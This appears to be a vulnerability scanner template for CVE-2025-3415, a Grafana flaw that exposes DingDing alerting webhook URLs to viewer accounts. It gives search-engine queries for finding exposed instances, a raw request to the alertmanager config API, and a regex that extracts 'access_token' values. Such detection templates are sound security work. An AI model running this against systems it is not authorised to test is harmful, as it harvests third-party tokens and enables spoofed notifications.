Description
An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.
An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.
id: CVE-2025-3415
info:
name: Grafana - Exposes DingDing API Keys
author: lucasribolli
severity: medium
description: |
An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.
impact: |
Viewers can access DingDing alerting integration URLs containing access tokens through the alertmanager API, potentially enabling unauthorized message delivery and notification manipulation.
remediation: |
Upgrade to Grafana version 12.0.2 or later that properly restricts access to DingDing integration settings.
reference:
- https://grafana.com/blog/2025/06/13/grafana-security-update-medium-severity-security-release-for-cve-2025-3415/
classification:
epss-score: 0.00983
epss-percentile: 0.60578
metadata:
verified: true
max-request: 1
vendor: grafana
product: grafana
shodan-query:
- http.title:"grafana"
- cpe:"cpe:2.3:a:grafana:grafana"
fofa-query:
- title="grafana"
- app="grafana"
google-query: intitle:"grafana"
tags: cve,cve2025,grafana,dingding,dingtalk,apikey,vkev,vuln
http:
- raw:
- |
GET /api/alertmanager/grafana/config/api/v1/alerts HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "dingtalk.com","dingding-context")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: dingding-integration-url
part: body
regex:
- '(?i)https?://oapi\.dingtalk\.com/robot/send\?access_token=[^&"\s]+'
# digest: 490a0046304402205c9018bdf33c466f7bdd0100b944128411d09b669ce17c60ddf0dbfc6499c4f802202e93a88f797858e1f929a6594d69000db2ef37ef53fe1f92fd90eee4a5bf9046:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.